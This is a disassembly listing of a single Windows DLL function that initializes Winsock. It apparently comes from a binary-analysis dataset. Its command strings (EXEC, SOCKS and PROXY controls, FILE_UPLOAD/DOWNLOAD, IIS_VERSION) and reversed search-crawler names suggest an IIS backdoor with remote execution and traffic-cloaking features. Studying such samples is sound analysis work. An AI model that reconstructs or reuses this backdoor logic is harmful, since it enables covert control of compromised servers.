Function at 0x180007bc0
Capabilities:
Initialize winsock library

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov qword [rbp - 0x31], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rax, qword [0x180057090]
xor rax, rsp
mov qword [rbp + 0x4f], rax
test edx, edx
je 0x18000886b
cmp edx, 1
jne 0x180008871
lea r8d, [rdx + 0x15]
lea rdx, str.C:WindowsInitial.ini
lea rcx, [0x180059b28]
call fcn.180009b50
xor edi, edi
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], dil
lea r8d, [rdi + 7]
lea rdx, str.DllMain
lea rcx, [rbp - 0x11]
call fcn.180001d00
lea rcx, [rbp - 0x11]
call fcn.180014f20
mov ecx, 0x202
lea rdx, [0x180059870]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180008871
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], dil
lea r8d, [rdi + 4]
lea rdx, str.EXEC
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180007ca9
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180007cd3
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x64
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 7
lea rdx, str.EXECPRO
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180007d30
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180007d5a
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x65
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.SOCKS_HELLO
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180007db7
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180007de1
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x66
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, recv
lea rdx, str.SOCKS_CONNECT
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180007e3e
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180007e68
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x67
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.SOCKS_DISCONNECT
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180007ec5
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180007eef
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x68
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 0xa
lea rdx, str.SOCKS_READ
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180007f4c
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180007f76
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, recv
lea rdx, str.SOCKS_FORWARD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180007fd3
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180007ffd
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.PROXY_ENABLE
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x18000805a
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180008084
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 0xa
lea rdx, str.PROXY_LIST
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x1800080e1
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x18000810b
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 9
lea rdx, str.PROXY_ADD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180008168
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180008192
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, 9
lea rdx, str.PROXY_DEL
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x1800081ef
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180008219
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.PROXY_CLEAR
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180008276
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x1800082a0
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, send
lea rdx, str.PROXY_CACHE_CLEAR
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x1800082fd
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180008327
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.PROXY_CACHE_TIME
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180008384
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x1800083ae
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.PROXY_COUNT
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x18000840b
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180008435
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.FILE_UPLOAD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180008492
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x1800084bc
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, recv
lea rdx, str.FILE_DOWNLOAD
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x180008519
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x180008543
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.IIS_VERSION
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
call fcn.18000e1f0
mov rbx, rax
cmp rax, qword [0x180059ae8]
je 0x1800085a0
lea r8, [rax + 0x20]
lea rdx, [rbp - 0x11]
call fcn.180009ad0
test al, al
je 0x1800085ca
lea rax, [rbp - 0x11]
mov qword [rbp - 0x39], rax
lea r8, [rbp - 0x39]
call fcn.18000e560
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
call fcn.18000e5c0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 0x75
lea rcx, [rbp - 0x11]
call fcn.180001c80
mov qword [rbp - 1], rdi
mov qword [rbp + 7], send
mov byte [rbp - 0x11], 0
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.redipsudiab
lea rcx, [rbp - 0x11]
call fcn.180001d00
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180015350
mov rdi, rax
mov rdx, rax
lea rcx, [0x180059af8]
call fcn.18000e150
mov rbx, rax
cmp rax, qword [0x180059af8]
je 0x18000863c
lea r8, [rax + 0x20]
mov rdx, rdi
call fcn.180009ad0
test al, al
je 0x180008670
mov qword [rbp - 0x39], rdi
lea r8, [rbp - 0x39]
lea rcx, [0x180059af8]
call fcn.18000e290
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp - 0x39]
lea rcx, [0x180059af8]
call fcn.18000e2f0
mov rbx, qword [rbp - 0x39]
mov dword [rbx + 0x40], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.tobelgoog
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180015350
nop
mov rdx, rax
lea rcx, [0x180059af8]
call fcn.180008980
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, [0x180059a58]
lea rcx, [rbp + 0x2f]
call fcn.180009650
nop
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0x2f]
call fcn.180009480
mov r9, rax
lea rdx, [rbp - 0x29]
call fcn.180009430
mov r8, rax
lea rdx, [rbp - 0x21]
call fcn.180009460
mov r9, qword [r9]
mov r8, qword [r8]
mov rdx, qword [rax]
lea rcx, [rbp - 0x19]
call fcn.18000d330
mov dl, 0x7c
lea rcx, [rbp + 0x2f]
call fcn.180001bb0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180008785
nop dword [rax]
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 0x2f]
call fcn.1800093f0
nop
mov rdx, rax
lea rcx, [0x180059b08]
call fcn.180008980
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
lea r8, [rbx + 1]
xor edx, edx
lea rcx, [rbp + 0x2f]
call fcn.180002150
mov dl, 0x7c
lea rcx, [rbp + 0x2f]
call fcn.180001bb0
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180008730
lea rdx, str.elgoog
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180015350
nop
mov rdx, rax
lea rcx, [0x180059b18]
call fcn.180008980
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.gnib
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180015350
nop
mov rdx, rax
lea rcx, [0x180059b18]
call fcn.180008980
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
lea rdx, str.coccoc
lea rcx, [rbp - 0x11]
call fcn.180001c10
nop
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.180015350
nop
mov rdx, rax
lea rcx, [0x180059b18]
call fcn.180008980
mov dword [rax], 1
lea rcx, [rbp + 0xf]
call fcn.180001c80
nop
lea rcx, [rbp - 0x11]
call fcn.180001c80
call fcn.180015b40
nop
lea rcx, [rbp + 0x2f]
call fcn.180001c80
jmp 0x180008871
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.18001a580
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret